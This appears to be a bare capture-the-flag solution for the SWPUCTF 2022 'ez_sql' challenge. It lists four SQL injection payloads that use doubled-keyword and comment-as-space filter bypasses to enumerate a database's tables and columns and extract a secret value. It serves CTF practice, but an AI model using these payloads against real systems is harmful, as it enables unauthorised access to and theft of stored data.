[SWPUCTF 2022 新生赛]ez_sql

[SWPUCTF 2022 新生赛]ez_sql

nss=2'/**/ununionion/**/select/**/1,2,database()%23

nss=2'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23

nss=2'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23

nss=2'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_db.NSS_tb%23